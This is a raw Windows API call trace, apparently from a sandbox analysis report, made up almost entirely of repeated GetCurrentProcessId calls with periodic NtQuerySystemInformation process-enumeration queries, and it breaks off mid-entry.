GetCurrentProcessId () returned 0x10c0 [0248.020] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.021] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.022] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.023] GetCurrentProcessId () returned 0x10c0 [0248.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.563] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.564] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.565] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.566] GetCurrentProcessId () returned 0x10c0 [0248.567] GetCurrentProcessId () returned 0x10c0 [0248.567] GetCurrentProcessId () returned 0x10c0 [0248.567] GetCurrentProcessId () returned 0x10c0 [0249.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.078] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.079] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.080] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.081] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.082] GetCurrentProcessId () returned 0x10c0 [0249.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0249.617] GetCurrentProcessId () returned 0x10c0 [0249.617] GetCurrentProcessId () returned 0x10c0 [0249.617] GetCurrentProcessId () returned 0x10c0 [0249.617] GetCurrentProcessId () returned 0x10c0 [0249.617] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.618] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.619] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.620] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.621] GetCurrentProcessId () returned 0x10c0 [0249.622] GetCurrentProcessId () returned 0x10c0 [0249.622] GetCurrentProcessId () returned 0x10c0 [0249.622] GetCurrentProcessId () returned 0x10c0 [0249.622] GetCurrentProcessId () returned 0x10c0 [0250.132] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.134] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.136] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.137] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.138] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.139] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.140] GetCurrentProcessId () returned 0x10c0 [0250.656] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1df40) returned 0x0 [0250.658] GetCurrentProcessId () returned 0x10c0 [0250.658] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.659] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 